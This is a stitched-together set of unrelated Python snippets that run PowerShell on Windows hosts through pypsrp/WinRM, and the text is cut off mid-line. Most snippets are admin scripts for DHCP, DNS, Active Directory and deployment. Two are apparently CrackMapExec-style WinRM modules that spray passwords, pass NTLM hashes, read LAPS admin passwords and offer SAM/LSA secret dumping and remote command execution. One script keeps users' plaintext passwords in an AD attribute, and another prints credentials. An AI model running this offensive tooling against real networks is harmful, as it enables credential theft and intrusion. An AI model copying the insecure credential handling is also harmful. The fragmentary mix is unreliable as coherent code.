class WinRMScan: def __init__(self, hostname, timeout): self.hostname = hostname self.timeout = timeout self.conn = None #TODO: use requests to check in http server for winrm is running def auth(self, domain=None, username=None, password=None, hash=None): if not username: raise AuthFailure('Username not specified') if not password and not hash: raise AuthFailure('Password or hash not specified') if not domain: domain = 'WORKGROUP' if hash != None and not ':' in hash: lmhash = '00000000000000000000000000000000:' hash = lmhash + hash try: if password: self.conn = Client(self.hostname, auth='ntlm', username=username, password=password, ssl=False, connection_timeout=self.timeout) else: self.conn = Client(self.hostname, auth='ntlm', username=username, password=hash, ssl=False, connection_timeout=self.timeout) # check if it works self.conn.execute_ps("hostname") return True except Exception as e: print('%s: %s' % (type(e), e)) return False def execute(self, command, get_output=False): try: r = self.conn.execute_cmd(command) except: r = self.conn.execute_ps(command) return r[0] def ps_execute(self, command, get_output=False): r = self.conn.execute_ps(command) return r[0] def disconnect(self): pass
def runpypsrp(fields): client = Client(fields[0].get(), username=fields[1].get(), password=fields[2].get()) temp = '' temp, streams, had_errors = client.execute_ps("GetWindowsArtifacts.ps1") f = open('temp', 'a+') f.write(temp) f.close() multiprompt(0)
class winrm(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser]) winrm_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') winrm_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') winrm_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") winrm_parser.add_argument("--port", type=int, default=0, help="Custom WinRM port") dgroup = winrm_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') return parser def proto_flow(self): self.proto_logger() if self.create_conn_obj(): self.enum_host_info() self.print_host_info() if self.login(): if hasattr(self.args, 'module') and self.args.module: self.call_modules() else: self.call_cmd_args() def proto_logger(self): self.logger = CMEAdapter(extra={'protocol': 'WINRM', 'host': self.host, 'port': 'NONE', 'hostname': 'NONE'}) def enum_host_info(self): # smb no open, specify the domain if self.args.domain: self.domain = self.args.domain self.logger.extra['hostname'] = self.hostname else: try: smb_conn = SMBConnection(self.host, self.host, None) try: smb_conn.login('', '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.domain = smb_conn.getServerDNSDomainName() self.hostname = smb_conn.getServerName() self.server_os = smb_conn.getServerOS() self.logger.extra['hostname'] = self.hostname try: smb_conn.logoff() except: pass except Exception as e: logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e)) if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname def print_host_info(self): if self.args.domain: self.logger.info(self.endpoint) else: self.logger.info(u"{} (name:{}) (domain:{})".format(self.server_os, self.hostname, self.domain)) self.logger.info(self.endpoint) def create_conn_obj(self): endpoints = [ 'https://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5986), 'http://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5985) ] for url in endpoints: try: requests.get(url, verify=False, timeout=3) self.endpoint = url if self.endpoint.startswith('https://'): self.port = self.args.port if self.args.port else 5986 else: self.port = self.args.port if self.args.port else 5985 self.logger.extra['port'] = self.port return True except Exception as e: if 'Max retries exceeded with url' not in str(e): logging.debug('Error in WinRM create_conn_obj:' + str(e)) return False def plaintext_login(self, domain, username, password): try: from urllib3.connectionpool import log log.addFilter(SuppressFilter()) self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format(domain, username), password=password, ssl=False) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True self.logger.success(u'{}\\{}:{} {}'.format(self.domain, username, password, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) if not self.args.continue_on_success: return True except Exception as e: if "with ntlm" in str(e): self.logger.error(u'{}\\{}:{}'.format(self.domain, username, password)) else: self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, username, password, e)) return False def hash_login(self, domain, username, ntlm_hash): try: from urllib3.connectionpool import log log.addFilter(SuppressFilter()) lmhash = '00000000000000000000000000000000:' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash ntlm_hash = lmhash + nthash self.hash = nthash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format(domain, username), password=ntlm_hash, ssl=False) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True self.logger.success(u'{}\\{}:{} {}'.format(self.domain, username, self.hash, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) if not self.args.continue_on_success: return True except Exception as e: if "with ntlm" in str(e): self.logger.error(u'{}\\{}:{}'.format(self.domain, username, self.hash)) else: self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, username, self.hash, e)) return False def execute(self, payload=None, get_output=False): try: r = self.conn.execute_cmd(self.args.execute) except: self.logger.debug('Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !') r = self.conn.execute_ps(self.args.execute) self.logger.success('Executed command') self.logger.highlight(r[0]) def ps_execute(self, payload=None, get_output=False): r = self.conn.execute_ps(self.args.ps_execute) self.logger.success('Executed command') self.logger.highlight(r[0])
#!/usr/bin/env python import sys from pypsrp.client import Client def arg_check(): if len(sys.argv) < 2: print('Warning: Need to provide ip for windows instance.') sys.exit(1) if __name__ == '__main__': arg_check() server = sys.argv[1] ps = sys.argv[2] client = Client(server, username="******", password="******", ssl=False) # execute some powershell stdout, stderr, rc = client.execute_ps(ps) print("stdout:{}".format(stdout)) print("stderr:{}".format(stderr)) print("rc:{}".format(rc))
help='Remote computer to run against, usually a DC') par.add_argument('--user', type=str, help='Username') par.add_argument('--password', type=str, help='Password') par.add_argument('--ask-pass', help='Ask for password', action='store_true') par.add_argument('--remove', help='Remove the record', action='store_true') args = par.parse_args() print(args) if args.ask_pass: password = getpass.getpass("Enter password: "******"Specify password if ask-pass not setup") exit(-1) password = args.password ms = Client(args.computer, username=args.user, password=password, ssl=False) if args.remove: #Remove-DnsServerResourceRecord -ZoneName "contoso.com" -RRType "A" -Name "Host01" -RecordData "10.17.1.41" ps_cmd = "Remove-DnsServerResourceRecord -name '%s' -ZoneName '%s' -RecordData '%s' -RRType 'A' -force" % ( args.name, args.zone, args.ip) else: ps_cmd = "Add-dnsserverresourcerecorda -name '%s' -ZoneName '%s' -IPV4Address '%s' -AllowUpdateAny" % ( args.name, args.zone, args.ip) output, streams, had_errors = ms.execute_ps(ps_cmd) print("Status: %s, Success: %s" % (output, not had_errors)) f = open("./test", "a") f.write("Testing!!") f.close()
def sync_from_ms_dhcp_server(time_tag, ipam_token, ipam_addresses_url, log_file, EMAIL_CONTENT_FILE, webex_teams_api): """Connect to DHCP server via PowerShell Remoting, import its dhcp scopes leases, then process them in IPAM using the passed ipam token, url and timestamp arguments. """ client = Client(DHCP_SERVER_FQDN, username=DHCP_SERVER_USERNAME, password=DHCP_SERVER_PASSWORD, ssl=DHCP_SERVER_SSL) # validate that all entered DHCP scopes in the list env variable are valid IP subnet addresses. # If any invalid entry is found, exit the program. for scope in DHCP_SERVER_SCOPES: if not is_valid_ipv4_address(scope): print("At least one invalid scope is found in MS DHCP Server scopes list. " \ "Please use valid IP subnet DHCP scope entries and retry.") sys.exit(1) # All scopes are valid, proceed with the sync from the DHCP server: for scope in DHCP_SERVER_SCOPES: command = r"Get-DhcpServerv4Lease -Scopeid %s" % scope try: dhcp_server_output, streams, had_errors = client.execute_ps( command) except (requests.exceptions.Timeout, requests.exceptions.ConnectionError, pypsrp.exceptions.AuthenticationError, requests.exceptions.HTTPError) as error: print_with_timestamp_and_log("Unable to connect to the DHCP Server. Please verify " \ "settings and reachability.", log_file) cleanup_before_exit(log_file, email_body, EMAIL_CONTENT_FILE) sys.exit(1) formatted_dhcp_server_output = dhcp_server_output.split("\n") print( "\nSyncing the leased hosts from the MS DHCP Server, scope %s..." % scope) log_file.write( "\nSyncing the leased hosts from the MS DHCP Server, scope %s...\n" % scope) # Iterate through the list of hosts leases for this scope, starting from index 3 # to skip the empty line, then column names line, then the delimiter line: for lease in range(3, len(formatted_dhcp_server_output) - 2): lease_list = formatted_dhcp_server_output[lease].split() payload = "" # when length of lease_list is 8, this means all the fields are populated # including the hostname if (len(lease_list) == 8) & (lease_list[4] == "Active"): payload = { "subnetId": str(PHPIPAM_SUBNET_ID), "ip": lease_list[0], "is_gateway": "0", "description": lease_list[3], "hostname": lease_list[3], "mac": lease_list[2], "owner": TAG_MSDHCP, "note": str(time_tag) } # when length of lease_list is 7, this means the hostname field is empty. # MAC address field is shifted to the left after the string split. elif (len(lease_list) == 7) & (lease_list[3] == "Active"): payload = { "subnetId": str(PHPIPAM_SUBNET_ID), "ip": lease_list[0], "is_gateway": "0", "description": "N/A", "hostname": "N/A", "mac": lease_list[2], "owner": TAG_MSDHCP, "note": str(time_tag) } # Add the host to the IPAM if it's an active lease: if payload != "": process_host_in_ipam(lease_list[0], ipam_token, ipam_addresses_url, payload, log_file, email_body, EMAIL_CONTENT_FILE, webex_teams_api)
def run(): log_write('Sync vpn users...') # Проверка существования файла VPNUsersList try: userslist = open(get_config('VPNUsersList'), 'r').read().split() except IOError as err: open(get_config('VPNUsersList'), 'w') userslist = [] # # Подключение к серверу Active Directory client = Client(get_config('ADServer') + "." + get_config('DomainRealm'), auth="kerberos", ssl=False, username=get_config('ADUserName'), password=get_config('ADUserPassword')) # Получение списка пользователей и их паролей для тех, у кого поле wwwhomepage начинается с VPNMask script = """([adsisearcher]"(objectcategory=user)").FindAll() | where {$_.properties['wwwhomepage'] -like '""" + get_config( 'VPNMask' ) + """*'} | %{ $_.GetDirectoryEntry() } | ForEach-Object {$_.samaccountname, $_.wwwhomepage}""" try: adusers, streams, had_error = client.execute_ps(script) except: log_write('[adsisearcher] objectcategory=user powershell error') adusers = adusers.splitlines() # # Добавление и обновление пользователей pos = 0 while pos < len(adusers): # Получение исходного пароля пользователя password = adusers[pos + 1][len(get_config('VPNMask')):] if len(password) > 5: # Проверка длины пароля # Генерирование соли и пароля пользователя sha_salt = os.urandom(10) password = sha_salt.hex() + hashlib.pbkdf2_hmac( hash_name='sha256', password=password.encode(), salt=sha_salt, iterations=100).hex() try: userpos = userslist.index(adusers[pos]) userslist[userpos + 1] = password log_write('Updated user ' + adusers[pos]) except ValueError: userslist.append(adusers[pos]) userslist.append(password) log_write('Added user ' + adusers[pos]) else: # Удаление пользователя и его пароля (не соответствие длины пароля) adusers.pop(pos) adusers.pop(pos) pos = pos + 2 # # Удаление из списка userslist, пользователей более не присутствующих в adusers for user in userslist[::2]: try: adusers.index(user) except ValueError: pos = userslist.index(user) # Удаление пользователя и его пароля userslist.pop(pos) userslist.pop(pos) log_write('Deleted user ' + user) # # Запись в файл VPNUsersList with open(get_config('VPNUsersList'), 'w') as result: pos = 0 while pos < len(userslist): result.write(userslist[pos] + ' ' + userslist[pos + 1] + '\n') pos += 2
class Server: # Initiation de l'objet def __init__(self, **attributes): for attr_name, attr_value in attributes.items(): setattr(self, attr_name.strip(), str(attr_value).strip()) # Afficher l'objet avec la fonction dir # Retourne un objet json def __repr__(self): return json.dumps(self.__dict__) # Afficher l'objet avec la fonction print # Retourne un objet json def __str__(self): return json.dumps(self.__dict__) # Transforme une chaîne de caractères en une liste # Retourne une liste def __strToList(self, data): data = data.split("\n") listData = [] for i in range(len(data)): if i > 2 and data[i].strip() != '': listData.append(data[i].strip()) return listData # Créer une connexion entre la machine Linux et un serveur Windows Server en utilisant le module pypsrp def creatServer(self): self.client = None try: self.client = Client(self.name, username=self.username, password=self.password, ssl=False) except: print("Problème de connexion au server [ %s ] !!" % self.name) # Retourne une liste contenant les DistinguishedName existants dans un serveur Windows Server def getAllPaths(self): paths =[] err = False script = "Get-ADOrganizationalUnit -Filter 'Name -notlike \"Domain Controllers\"' | Format-Table DistinguishedName -A" try: output, streams, had_errors = self.client.execute_ps(script) if had_errors: print("For", path, "\n".join([str(s) for s in streams.error])) elif len(output) > 0: paths = self.__strToList(output) except: err = True print("Problème de connexion au moment de la consultation des comptes utilisateurs !!") return err, paths # Retourne une liste contenant l'ensemble des utilisateurs existants dans une machine Windows Server def getAllUsers(self): listUsers =[] err = False errpath, paths = self.getAllPaths() if errpath: err = True return err, listUsers for path in paths: script = "Get-ADUser -Filter * -SearchBase '%s' | Format-Table DistinguishedName -A" % path try: output, streams, had_errors = self.client.execute_ps(script) if had_errors: print("For", path, "\n".join([str(s) for s in streams.error])) elif len(output) > 0: listUsers = self.__strToList(output) except: err = True print("Problème de connexion au moment de la consultation des comptes utilisateurs !!") break return err, listUsers
import os from pypsrp.client import Client username = os.environ["ANSIBLE_WIN_USER"] password = os.environ["ANSIBLE_WIN_PASSWORD"] print(username) print(password) # this takes in the same kwargs as the WSMan object client = Client("localhost", port=5985, ssl=False, cert_validation=False, username=username, password=password) # execute a cmd command stdout, stderr, rc = client.execute_cmd("dir") print(stdout) stdout, stderr, rc = client.execute_cmd("powershell.exe gci $pwd") print(stderr) exit() sanitised_stderr = client.sanitise_clixml(stderr) # execute a PowerShell script output, streams, had_errors = client.execute_ps('''$path = "%s" if (Test-Path -Path $path) { Remove-Item -Path $path -Force -Recurse } New-Item -Path $path -ItemType Directory''' % path) output, streams, had_errors = client.execute_ps("New-Item -Path C:\\temp\\folder -ItemType Directory") # copy a file from the local host to the remote host client.copy("~/file.txt", "C:\\temp\\file.txt") # fetch a file from the remote host to the local host client.fetch("C:\\temp\\file.txt", "~/file.txt")
def run(self): # Запись в лог файл log_write('Thread getting_clients running') try: # Подключение к базе conn_pg = psycopg2.connect(database='nifard', user=get_config('DatabaseUserName'), password=get_config('DatabasePassword')) except psycopg2.DatabaseError as error: log_write(error) sys.exit(1) while not app_work.empty(): result = '' # Очистка списка новых клиентов self.ip_clients.clear() while not app_work.empty(): for Server in get_config('ADServer').split(): self.error = False # Подключение к серверу client = Client(Server + "." + get_config('DomainRealm'), auth="kerberos", ssl=False, username=get_config('ADUserName'), password=get_config('ADUserPassword')) # Получение журнала security по событию 4624, фильтрация по пользователям с полями: ip адрес, имя пользователя, домен script = """Get-EventLog -LogName security -ComputerName """ + Server + """ -Newest 200 -InstanceId 4624 | Where-Object {($_.ReplacementStrings[5] -notlike '*$*') -and ($_.ReplacementStrings[5] -notlike '*/*') -and ($_.ReplacementStrings[5] -notlike '*АНОНИМ*') -and ($_.ReplacementStrings[18] -notlike '*-*')} | Select-Object @{Name="IpAddress";Expression={ $_.ReplacementStrings[18]}},@{Name="UserName";Expression={ $_.ReplacementStrings[5]}},@{Name="Domain";Expression={ $_.ReplacementStrings[6]}} -Unique""" try: result, streams, had_error = client.execute_ps(script) except: log_write('Get-EventLog powershell error') self.error = True if app_work.empty(): break # Повторная проверка на завершение потока time.sleep(5) if not self.error: break if not self.error: break # # Цикл добавления клиентов, полученных из журнала, в список for line in result.splitlines(): if line.find(get_config( 'ADUserIPMask')) != -1 and line not in self.ip_clients: # Получение параметров клиента ip_addr = line.split()[0] # IP адрес клиента username = line.split()[1] # Имя пользователя domain = line.split()[2].lower() + get_config( 'DomainRealm')[get_config('DomainRealm').find( '.'):] # Домен, с корректировкой по конфигу try: computer = socket.gethostbyaddr(ip_addr)[ 0] # Имя компьютера computer = computer[0:computer.find( '.' )] if computer.find( '.' ) != -1 else computer # Имя компьютера без доменной части except OSError: computer = '*' # Не получено имя компьютера pass if computer == '': computer = '*' # Добавление нового клиента в список self.ip_clients.append(ip_addr) self.ip_clients.append(username) self.ip_clients.append(computer) self.ip_clients.append(domain) # if app_work.empty(): break # Повторная проверка на завершение потока # # Цикл добавления клиентов, полученных из очереди, в список while not self.todolist.empty(): ip_addr = self.todolist.get() # IP адрес клиента # Проверка, что ip адреса ещё нет в списке if ip_addr not in self.ip_clients: username = '******' # Имя пользователя неизвестно computer = '*' # Имя компьютера неизвестно domain = 'Domain Unknown' # Домен не известен try: computer = socket.gethostbyaddr(ip_addr)[ 0] # Имя компьютера except OSError: pass if computer.find('.') != -1: domain = computer[computer.find('.') + 1:] # Имя домена computer = computer[0:computer.find( '.')] # Имя компьютера без доменной части # Добавление нового клиента в список self.ip_clients.append(ip_addr) self.ip_clients.append(username) self.ip_clients.append(computer) self.ip_clients.append(domain) log_write('Newest ' + str(len(self.ip_clients) // 4) + ' ip addresses') # # Цикл добавления новых клиентов в базу for pos in range(0, len(self.ip_clients), 4): ip_addr = self.ip_clients[pos] # IP адрес клиента username = self.ip_clients[pos + 1] # Имя пользователя computer = self.ip_clients[pos + 2] # Имя компьютера domain = self.ip_clients[pos + 3] # Имя домена osversion = '' speed_computer = get_config('ADGroupInternetMask') + 'disable' # # Проверка операционной системы компьютера while not app_work.empty(): for Server in get_config('ADServer').split(): self.error = False # Подключение к серверу client = Client(Server + "." + get_config('DomainRealm'), auth="kerberos", ssl=False, username=get_config('ADUserName'), password=get_config('ADUserPassword')) # Проверка операционной системы компьютера script = """([ADSISEARCHER]'cn=""" + computer + """').Findone().Properties.operatingsystem""" try: osversion, streams, had_error = client.execute_ps( script) except: log_write( '[ADSISEARCHER] Operatingsystem powershell error' ) self.error = True if app_work.empty(): break # Повторная проверка на завершение потока time.sleep(5) if not self.error: break if not self.error: break if not osversion: osversion = 'OS Unknown' # # Получение скорости для текущего компьютера for Server in get_config('ADServer').split(): self.error = False time.sleep(5) # Подключение к серверу client = Client(Server + "." + get_config('DomainRealm'), auth="kerberos", ssl=False, username=get_config('ADUserName'), password=get_config('ADUserPassword')) # Получение скорости для текущего компьютера в верхнем регистре (фильтрация по группе доступа в Интернет) script = """([ADSISEARCHER]'cn=""" + computer + """').Findone().Properties.memberof -replace '^CN=([^,]+).+$','$1' -like '""" + get_config( 'ADGroupInternetMask') + """*'""" try: speed, streams, had_error = client.execute_ps(script) except: log_write( '[ADSISEARCHER] Memberof(Computer Internet) powershell error' ) self.error = True if self.error or app_work.empty(): break try: # Установка результирующей группы скорости speed_computer = speed.split()[0] if speed_computer == 'False': speed_computer = get_config( 'ADGroupInternetMask') + 'disable' except: speed_computer = get_config( 'ADGroupInternetMask') + 'disable' # # Запись в лог файл log_write('Newest ' + ip_addr + ' ' + username + ' ' + computer + '[' + domain + ']' + ' speed[' + speed_computer + '] (' + osversion + ')') if app_work.empty(): break # Повторная проверка на завершение потока # # Поиск в базе выбранного ip адреса cursor = conn_pg.cursor() try: cursor.execute("select * from users where ip = %s;", (ip_addr, )) except psycopg2.DatabaseError as error: log_write(error) sys.exit(1) rows = cursor.fetchall() for row in rows: ip_addr_db = row[0] # IP адрес из базы username_db = row[1] # Имя пользователя из базы computer_db = row[2] # Имя компьютера из базы domain_db = row[3] # Имя домена из базы speed_db = row[4] # Группа скорости из базы break # # Если ip адреса нет в базе, добавляем if not rows: try: cursor.execute( "insert into users values (%s, %s, %s, %s, %s, 0);", ( ip_addr, username, computer, domain, speed_computer, )) except psycopg2.DatabaseError as error: log_write(error) sys.exit(1) # Запись в лог файл log_write('Insert ' + ip_addr + ' ' + username + ' ' + computer + ' ' + speed_computer) conn_pg.commit() # if rows: # Если изменилось имя пользователя, имя компьютера, имя домена или группа скорости # При этом имя пользователя, компьютера или домена, меняется только на другое имя (не на '*') update_log = '' if str(username) != str(username_db) and str( username) != '*': update_log = update_log + ' ' + str( username_db) + '->' + str(username) username_db = username if str(computer) != str(computer_db) and str( computer) != '*': update_log = update_log + ' ' + str( computer_db) + '->' + str(computer) computer_db = computer if str(domain) != str(domain_db) and str( domain) != 'Domain Unknown': update_log = update_log + ' ' + str( domain_db) + '->' + str(domain) domain_db = domain if str(speed_computer) != str(speed_db): update_log = update_log + ' ' + str( speed_db) + '->' + str(speed_computer) speed_db = speed_computer try: # Запись в лог файл, если что-то изменилось в базе if update_log != '': cursor.execute( "update users set username = %s, computer = %s, domain = %s, speed = %s where ip = %s;", ( username_db, computer_db, domain_db, speed_db, ip_addr, )) log_write('Update ' + ip_addr + update_log) except psycopg2.DatabaseError as error: log_write(error) sys.exit(1) # Комит всех транзакций conn_pg.commit() # Закрытие курсора cursor.close() # Ожидание потока for tick in range(5): if app_work.empty(): break time.sleep(1) conn_pg.close() # Запись в лог файл log_write('Thread getting_clients stopped') # Удаление потока из списка self.threads_list.get()
async def exec_powershell_script_dependencies(self, hosts, shell_type, arguments, dependency_folder, destination_folder, username, password, transport, server_cert_validation, message_encryption): """ Execute a list of remote commands on a list of hosts. :param hosts: List of host ips to run command on :param shell_type: The type of shell you wish to run (i.e. "powershell") :param commands: array of commands in which you want to run on every host :param dependency_folder: Specifies the local folder to copy :param destination_folder: Specifies the destination folder to copy and delete :param username: username of the machine you wish to run command on :param password: password for the machine you wish to run command on :param transport: method of transportation :param server_cert_validation: whether or not to verify certificates :param message_encryption: When you should encrypt messages :return: dict of results with hosts as keys and list of outputs for each specified hosts """ results = {} for host in hosts: self.logger.info(f"Connecting to {host}") results[host] = [] try: wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption, username=username, password=password) client = Client(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption, username=username, password=password) self.logger.info(f"Copying to {host}") for root, dirs, files in os.walk(dependency_folder): root_folder = destination_folder + "\\" + os.path.basename( root) output, streams, had_errors = client.execute_ps(''' $path = "%s" if(!(Test-Path -Path $path )){ New-Item -ItemType directory -Path $path Write-Host "New folder created" }''' % root_folder) results[host].append({ "stdout": output, "had_errors": had_errors }) for file in files: client.copy(os.path.join(root, file), root_folder + "\\" + file) self.logger.info(f"Executing on {host}") # execute scripts with WinRS(wsman) as shell: #Changes directory to dependency root and appends folder removal to end arguments = f"cd {destination_folder};" + '; '.join( arguments) self.logger.info(f"{arguments}") process = Process(shell, shell_type, [arguments]) process.invoke() results[host].append({ "stdout": process.stdout.decode(), "stderr": process.stderr.decode() }) arguments = f"Remove-Item -Recurse {destination_folder}" self.logger.info(f"Removing from {host}") process = Process(shell, shell_type, [arguments]) process.invoke() process.signal(SignalCode.CTRL_C) except Exception as e: import traceback tb = traceback.format_exc() results[host].append({ "stdout": "", "stderr": f"{e}", "exception": f"{tb}" }) return results
class winrm(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None self.output_filename = None connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser]) winrm_parser.add_argument( "-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') winrm_parser.add_argument( "--no-bruteforce", action='store_true', help= 'No spray when using file for username and password (user1 => password1, user2 => password2' ) winrm_parser.add_argument( "--continue-on-success", action='store_true', help="continues authentication attempts even after successes") winrm_parser.add_argument("--port", type=int, default=0, help="Custom WinRM port") winrm_parser.add_argument("--ssl", action='store_true', help="Connect to SSL Enabled WINRM") winrm_parser.add_argument("--ignore-ssl-cert", action='store_true', help="Ignore Certificate Verification") winrm_parser.add_argument("--laps", dest='laps', metavar="LAPS", type=str, help="LAPS authentification", nargs='?', const='administrator') dgroup = winrm_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') cgroup = winrm_parser.add_argument_group( "Credential Gathering", "Options for gathering credentials") cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems') cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems') cgroup = winrm_parser.add_argument_group( "Command Execution", "Options for executing commands") cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') return parser def proto_flow(self): self.proto_logger() if self.create_conn_obj(): self.enum_host_info() if self.print_host_info(): if self.login(): if hasattr(self.args, 'module') and self.args.module: self.call_modules() else: self.call_cmd_args() def proto_logger(self): self.logger = CMEAdapter( extra={ 'protocol': 'SMB', 'host': self.host, 'port': 'NONE', 'hostname': 'NONE' }) def enum_host_info(self): # smb no open, specify the domain if self.args.domain: self.domain = self.args.domain self.logger.extra['hostname'] = self.hostname else: try: smb_conn = SMBConnection(self.host, self.host, None) try: smb_conn.login('', '') except SessionError as e: pass self.domain = smb_conn.getServerDNSDomainName() self.hostname = smb_conn.getServerName() self.server_os = smb_conn.getServerOS() self.logger.extra['hostname'] = self.hostname self.output_filename = os.path.expanduser( '~/.cme/logs/{}_{}_{}'.format( self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) try: smb_conn.logoff() except: pass except Exception as e: logging.debug( "Error retrieving host domain: {} specify one manually with the '-d' flag" .format(e)) if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname def laps_search(self, username, password, ntlm_hash, domain): ldapco = LDAPConnect(self.domain, "389", self.domain) connection = ldapco.plaintext_login(domain, username[0] if username else '', password[0] if password else '', ntlm_hash[0] if ntlm_hash else '') if connection == False: logging.debug( 'LAPS connection failed with account {}'.format(username)) return False searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name=' + self.hostname + '))' attributes = ['ms-MCS-AdmPwd', 'samAccountname'] result = connection.search(searchFilter=searchFilter, attributes=attributes, sizeLimit=0) msMCSAdmPwd = '' sAMAccountName = '' for item in result: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue for computer in item['attributes']: if str(computer['type']) == "sAMAccountName": sAMAccountName = str(computer['vals'][0]) else: msMCSAdmPwd = str(computer['vals'][0]) logging.debug("Computer: {:<20} Password: {} {}".format( sAMAccountName, msMCSAdmPwd, self.hostname)) self.username = self.args.laps self.password = msMCSAdmPwd if msMCSAdmPwd == '': logging.debug( 'msMCSAdmPwd is empty, account cannot read LAPS property for {}' .format(self.hostname)) return False if ntlm_hash: hash_ntlm = hashlib.new('md4', msMCSAdmPwd.encode('utf-16le')).digest() self.hash = binascii.hexlify(hash_ntlm).decode() self.domain = self.hostname return True def print_host_info(self): if self.args.domain: self.logger.extra['protocol'] = "HTTP" self.logger.info(self.endpoint) else: self.logger.extra['protocol'] = "SMB" self.logger.info(u"{} (name:{}) (domain:{})".format( self.server_os, self.hostname, self.domain)) self.logger.extra['protocol'] = "HTTP" self.logger.info(self.endpoint) self.logger.extra['protocol'] = "WINRM" if self.args.laps: return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain) return True def create_conn_obj(self): endpoints = [ 'https://{}:{}/wsman'.format( self.host, self.args.port if self.args.port else 5986), 'http://{}:{}/wsman'.format( self.host, self.args.port if self.args.port else 5985) ] for url in endpoints: try: requests.get(url, verify=False, timeout=3) self.endpoint = url if self.endpoint.startswith('https://'): self.port = self.args.port if self.args.port else 5986 else: self.port = self.args.port if self.args.port else 5985 self.logger.extra['port'] = self.port return True except Exception as e: if 'Max retries exceeded with url' not in str(e): logging.debug('Error in WinRM create_conn_obj:' + str(e)) return False def plaintext_login(self, domain, username, password): try: from urllib3.connectionpool import log log.addFilter(SuppressFilter()) if not self.args.laps: self.password = password self.username = username self.domain = domain if self.args.ssl and self.args.ignore_ssl_cert: self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format( domain, self.username), password=self.password, ssl=True, cert_validation=False) elif self.args.ssl: self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format( domain, self.username), password=self.password, ssl=True) else: self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format( domain, self.username), password=self.password, ssl=False) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True self.logger.success(u'{}\\{}:{} {}'.format( self.domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8, highlight('({})'.format(self.config.get('CME', 'pwn3d_label') ) if self.admin_privs else ''))) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except Exception as e: if "with ntlm" in str(e): self.logger.error(u'{}\\{}:{}'.format( self.domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)) else: self.logger.error(u'{}\\{}:{} "{}"'.format( self.domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8, e)) return False def hash_login(self, domain, username, ntlm_hash): try: from urllib3.connectionpool import log log.addFilter(SuppressFilter()) lmhash = '00000000000000000000000000000000:' nthash = '' if not self.args.laps: self.username = username #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash ntlm_hash = lmhash + nthash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash else: nthash = self.hash self.domain = domain if self.args.ssl and 